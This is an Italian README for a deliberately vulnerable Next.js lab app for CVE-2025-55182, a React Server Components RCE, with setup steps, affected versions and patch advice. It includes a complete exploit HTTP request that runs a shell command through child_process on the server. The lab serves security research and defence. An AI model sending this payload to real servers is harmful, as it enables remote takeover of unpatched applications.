Next.js CVE-2025-55182 Proof of Concept

Questa è un'applicazione Next.js proof-of-concept vulnerabile a CVE-2025-55182 (nota anche come "React2Shell"), una vulnerabilità critica di esecuzione remota di codice (RCE) nei React Server Components.

⚠️ ATTENZIONE

Questa applicazione è intenzionalmente vulnerabile e dovrebbe essere utilizzata SOLO per:

• Ricerca sulla sicurezza
• Scopi educativi
• Test in ambienti isolati

NON:

• Distribuire in produzione
• Esporre a reti non affidabili
• Utilizzare con dati sensibili

Dettagli della vulnerabilità

CVE-2025-55182 colpisce:

• React versioni da 19.0.0 a 19.2.0
• Next.js versioni 15.x e 16.x (utilizzando App Router)
• Applicazioni che utilizzano React Server Components (RSC)

La vulnerabilità deriva da una deserializzazione non sicura nella gestione dei payload di React Server Components, consentendo a utenti non autenticati di eseguire codice arbitrario sul server tramite richieste HTTP appositamente create.

Istruzioni per l'installazione

Opzione 1: Sviluppo locale

1. Installa le dipendenze:

   npm install
   

2. Avvia il server di sviluppo:

   npm run dev
   

3. Accedi all'applicazione: Apri http://localhost:3000 nel tuo browser.

Opzione 2: Docker

1. Costruisci l'immagine Docker:

   docker build -t nextjs-cve-2025-55182 .
   

2. Esegui il container:

   docker run --rm -p 3000:3000 nextjs-cve-2025-55182
   

3. Accedi all'applicazione: Apri http://localhost:3000 nel tuo browser.

Struttura dell'applicazione

• Pagina di login (/): Un semplice modulo di login che utilizza React Server Components
• Dashboard (/dashboard): Una pagina protetta accessibile dopo il login

Componenti vulnerabili

Questa applicazione utilizza:

• Next.js 15.1.0 (versione vulnerabile)
• React 19.0.0 (versione vulnerabile)
• App Router con React Server Components (RSC)
• Struttura base di create-next-app

La vulnerabilità risiede nel meccanismo di deserializzazione dei payload RSC, che può essere sfruttato inviando richieste HTTP multipart dannose direttamente alle route delle pagine (ad es. http://localhost:3000 o http://localhost:3000/dashboard). L'exploit funziona su qualsiasi pagina che utilizza React Server Components.

Sfruttamento

La vulnerabilità può essere sfruttata inviando richieste HTTP appositamente create direttamente alle route delle pagine (ad es. http://localhost:3000 o http://localhost:3000/dashboard). L'exploit funziona su qualsiasi pagina che utilizza React Server Components.

Esempio rapido di exploit

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

L'exploit prende di mira direttamente le route delle pagine: funziona su localhost:3000 (homepage) o localhost:3000/dashboard (pagina dashboard).

Mitigazione

Per risolvere questa vulnerabilità:

• Aggiornare React alla versione 19.0.1, 19.1.2 o 19.2.1+
• Aggiornare Next.js a una versione corretta (15.0.5+ o 16.x con patch)

Riferimenti

• CVE-2025-55182
• Avviso di sicurezza di React
• Avviso di sicurezza di Next.js

Licenza

Questa proof-of-concept è fornita solo a scopo educativo e di ricerca sulla sicurezza.